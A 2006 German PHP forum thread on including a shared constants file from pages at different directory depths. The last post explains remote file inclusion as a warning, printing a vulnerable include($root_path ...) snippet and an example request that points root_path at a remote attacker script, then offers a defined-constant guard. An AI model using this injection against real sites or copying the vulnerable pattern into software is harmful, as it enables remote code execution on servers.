AGB  ·  Datenschutz  ·  Impressum  







Anmelden
Nützliche Links
Registrieren
Thema durchsuchen
Ansicht
Themen-Optionen

[PHP] include

Offene Frage von "Wuaegner"
Ein Thema von Wuaegner · begonnen am 30. Sep 2006 · letzter Beitrag vom 1. Okt 2006
Antwort Antwort
Benutzerbild von Wuaegner
Wuaegner

Registriert seit: 8. Feb 2004
406 Beiträge
 
Delphi 6 Enterprise
 
#1

[PHP] include

  Alt 30. Sep 2006, 22:26
Hallo,
ich suche nach einer besseren Möglichkeit eine Datei zu includen.
Bis jetzt habe ich auf jeder php seite den befehl include("../constants.php").
Dazu muss die Datei constants.php im übergeordneten Verzeichnis einer Seite liegen.
Nun kann es aber auch sein, dass manche Dateien in einem tieferen Verzeichnis liegen, sodass es nun include("../../constants.php") heißen müsste. Alle Seiten sollen aber den gleichen Befehl in der ersten Zeile haben.
include($_SERVER['DOCUMENT_ROOT']."/verzeichnis/constants.php) geht leider auch nicht, da sich der name von "verzeichnis" ändern kann.

Hat jemand einen Vorschlag?
Wuaegner
Gruß Flo
Unternehmensberatung
  Mit Zitat antworten Zitat
mkinzler
(Moderator)

Registriert seit: 9. Dez 2005
Ort: Heilbronn
39.851 Beiträge
 
Delphi 11 Alexandria
 
#2

Re: [PHP] include

  Alt 30. Sep 2006, 22:30
Man kann ja in der php.ini den Suchpfad einstellen. wenn du diese datei in eines dieser Verzeichnisse kopierst, wird diese gefunden.
Markus Kinzler
  Mit Zitat antworten Zitat
Benutzerbild von DGL-luke
DGL-luke

Registriert seit: 1. Apr 2005
Ort: Bad Tölz
4.149 Beiträge
 
Delphi 2006 Professional
 
#3

Re: [PHP] include

  Alt 30. Sep 2006, 22:32
puh... du könntest den include-path ändern. Aber ich glaube nicht, dass das eine gute Idee ist.
//Wie mkinzler gerade sagte...

Warum müssen die Dateien in tieferen Verzeichnissen die selbe Datei includen? Werden sie nicht von einer Datei eingebunden, in denen globals.php schon eingebunden ist?
Lukas Erlacher
Suche Grafiktablett. Spenden/Gebrauchtangebote willkommen.
Gotteskrieger gesucht!
For it is the chief characteristic of the religion of science that it works. - Isaac Asimov, Foundation I, Buch 1
  Mit Zitat antworten Zitat
Benutzerbild von resolution
resolution

Registriert seit: 4. Jan 2005
Ort: Saarbrücken
52 Beiträge
 
Delphi 7 Enterprise
 
#4

Re: [PHP] include

  Alt 30. Sep 2006, 22:35
3 Vorschläge:

1.
ich weiss nicht wieso sich der Name von 'verzeichnis' ändern kann, du weisst doch wo die datei liegt die du includen willst!?
also gib den Pfad absolut an! das kannst du! :p

falls du nicht kannst willst oder sonstiges, schildere dies bitte genau
dennoch 2 weitere möglichkeiten

2. overhead, aber schnell: kopiere einfach in jedes Verzeichnis deine constants.php :p~

3. lasse dies von einer methode machen, welche das aktuelle Verzeichnis ermittelt und dementsprechend den Pfad zur includierenden Datei ermittelt, das braucht natürlich vernachlässigbar mehr cpu-time, kann aber jedes problem lösen, da dynamisch..
  Mit Zitat antworten Zitat
Benutzerbild von Wuaegner
Wuaegner

Registriert seit: 8. Feb 2004
406 Beiträge
 
Delphi 6 Enterprise
 
#5

Re: [PHP] include

  Alt 30. Sep 2006, 23:11
Hallo,
danke für eure Vorschläge.
Zitat:
1.
ich weiss nicht wieso sich der Name von 'verzeichnis' ändern kann, du weisst doch wo die datei liegt die du includen willst!?
also gib den Pfad absolut an! das kannst du! :p
Ich teste die seiten lokal auf meinem Rechner und lade sie dann hoch auf einen server ( hier ist das Verzeichnis bereits ein anderes). Auch kann es sein, dass der Verzeichnisname auf dem Server bald geändert wird und dann möchte ich nach Möglichkeit nicht alle Seiten ändern, sondern suche nach einer flexibleren Lösung.

Zitat:
2. overhead, aber schnell: kopiere einfach in jedes Verzeichnis deine constants.php :p~
Das klappt, aber bei einer Änderung der Datei constants.php immer dran denken zu müssen, diese auch in allen anderen Dateien vorzunehmen ist auch nicht sehr flexibel.

Zitat:
3. lasse dies von einer methode machen, welche das aktuelle Verzeichnis ermittelt und dementsprechend den Pfad zur includierenden Datei ermittelt, das braucht natürlich vernachlässigbar mehr cpu-time, kann aber jedes problem lösen, da dynamisch..
Das erscheint mir fast die beste Lösung, wenn auch Aufwendigste. Der Code der Funktion muss dann jedoch in jeder Datei stehen, was wieder etwas unschön ist.
Wuaegner
Gruß Flo
Unternehmensberatung
  Mit Zitat antworten Zitat
Benutzerbild von resolution
resolution

Registriert seit: 4. Jan 2005
Ort: Saarbrücken
52 Beiträge
 
Delphi 7 Enterprise
 
#6

Re: [PHP] include

  Alt 30. Sep 2006, 23:36
denke du solltest trotzdem zu weg (1.) greifen, bei dir kannst du eine umgebung schaffen die der des online-servers entspricht, dann musst du da schonmal nichts ändern..
normalerweise sollte sich auch 'verzeichnis' vom server aus nicht ändern, wenn dann ordnest DU dieses rename an und das wirst du i.d.R. nicht allzu oft tun..
solltest du dieses rename nicht beeinflussen können ist 'verzeichnis' doch zu 99% teil von DOCUMENT_ROOT..

noch eine 4te lösung bzw. eine verfeinerung von (3.):
du musst den code nicht in jede datei schreiben, du kannst ein toplevel-script nutzen, welches alle anderen dateien includiert, nach dem schema statt fobar.de/guestbook.php wird foobar.de/baz.php?section=guestbook aufgerufen, oder section=comunity/guestbook, also auch ordnerübergreifend..
soll heißen eine datei includiert alle anderen, und nur in dieser musst du dann schauen wo die constants.php ist, entweder statisch oder mittels kurezem code...
  Mit Zitat antworten Zitat
Benutzerbild von S2B
S2B

Registriert seit: 1. Feb 2004
Ort: Aachen
1.268 Beiträge
 
#7

Re: [PHP] include

  Alt 30. Sep 2006, 23:54
Bei mir geht das so:
Code:
define('ROOT_PATH', './');
include(ROOT_PATH . 'includes/class_mysql.php');
und für Dateien in einem Ordner abc:
Code:
define('ROOT_PATH', '../');
include(ROOT_PATH . 'includes/class_mysql.php');
Idee (c) phpBB.
Simon Praetorius
Gruß
S2B
  Mit Zitat antworten Zitat
Benutzerbild von 3_of_8
3_of_8

Registriert seit: 22. Mär 2005
Ort: Dingolfing
4.129 Beiträge
 
Turbo Delphi für Win32
 
#8

Re: [PHP] include

  Alt 30. Sep 2006, 23:58
Man kann auch den absoluten Pfad in der Datenbank speichern und dann den benutzen.
Manuel Eberl
„The trouble with having an open mind, of course, is that people will insist on coming along and trying to put things in it.“
- Terry Pratchett
  Mit Zitat antworten Zitat
Benutzerbild von S2B
S2B

Registriert seit: 1. Feb 2004
Ort: Aachen
1.268 Beiträge
 
#9

Re: [PHP] include

  Alt 1. Okt 2006, 00:27
Nur muss man zuerst mal in die Datenbank kommen, und genau das passiert eben oft in Dateien, die includet werden.
Simon Praetorius
Gruß
S2B
  Mit Zitat antworten Zitat
Benutzerbild von alcaeus
alcaeus

Registriert seit: 11. Aug 2003
Ort: München
6.537 Beiträge
 
#10

Re: [PHP] include

  Alt 1. Okt 2006, 07:21
Ganz genau. Und in einer Datei sollte (wichtig, sollte) man eigentlich wissen, in welchem Verzeichnis die Datei liegt.

Um die Idee von Simon besser zu erlaeutern, du musst in allen Dateien, die nicht eingebunden werden, sondern direkt aufgerufen werden, ROOT_PATH korrekt definieren. Nimm dabei eine Konstante, warum siehst du gleich. Alle Dateien, die nicht eingebunden werden, lassen die Konstante in Frieden und fragen sie nur ab. In diesen Dateien solltest du abfragen, ob sie auch korrekt eingebunden sind. Dies geht am Besten, indem du pruefst ob eine Konstante gesetzt ist (ROOT_PATH wuerde diesen Zweck bereits erfuellen). Warum das?
Nuja, stellen wir uns mal vor, du machst es mit einer Variable (erster Fehler). Stellen wir uns mal vor, auf deinem Server ist register_globals an (zweiter, weit verbreiteter Fehler). Stellen wir uns ausserdem vor, dass allow_url_fopen auf deinem Server aktiv ist (dritter, ebensoweit verbreiteter Fehler).
Du hast also ein Script foo.php, das eigentlich bar.php einbindet. in bar.php steht nur das:
Code:
<?php
include($root_path .'foobar.php');
?>
Da bar.php ja erwartet, dass root_path gesetzt ist, funktioniert dies bei einem Aufruf von foo.php einwandfrei, $root_path ist ja definiert.
Jetzt kommt aber der boese alci (*g*) und ruft h**p://foobar/foobar.php?root_path=h**p://meinserver/boesesscript.txt? auf. Was passiert? Der Include-Befehl wird so aussehn:
Code:
include('h**p://meinserver/boesesscript.txt?foobar.php')
denn schliesslich wird durch register_globals $root_path gesetzt. Durch allow_url_fopen geht include auch wirklich auf meinen Server, holt sich boesesscript.txt und fuehrt sie auf deinem Server aus. Die Folgen ueberlass ich deiner Fantasie.

Also, wenn direkt Code in include-Dateien ausgefuehrt wird (Dateien, die nur aus Funktionen bestehn, sind weniger kritisch) immer mit etwas der Art
Code:
if (!defined('ROOT_PATH'))
{
  die('Not allowed');
}
Und natuerlich in den anderen Dateien:
Code:
define('ROOT_PATH', './');
Greetz
alcaeus

PS: Ja, ich hatte grad Lust auf nen Remote-Code-Injection-Aufklaerungspost fuer Dummies
Andreas B.
Die Mutter der Dummen ist immer schwanger.
Ein Portal für Informatik-Studenten: www.infler.de
  Mit Zitat antworten Zitat
Antwort Antwort


Forumregeln

Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks are an
Pingbacks are an
Refbacks are aus

Gehe zu:

Impressum · AGB · Datenschutz · Nach oben
Alle Zeitangaben in WEZ +1. Es ist jetzt 17:38 Uhr.
Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz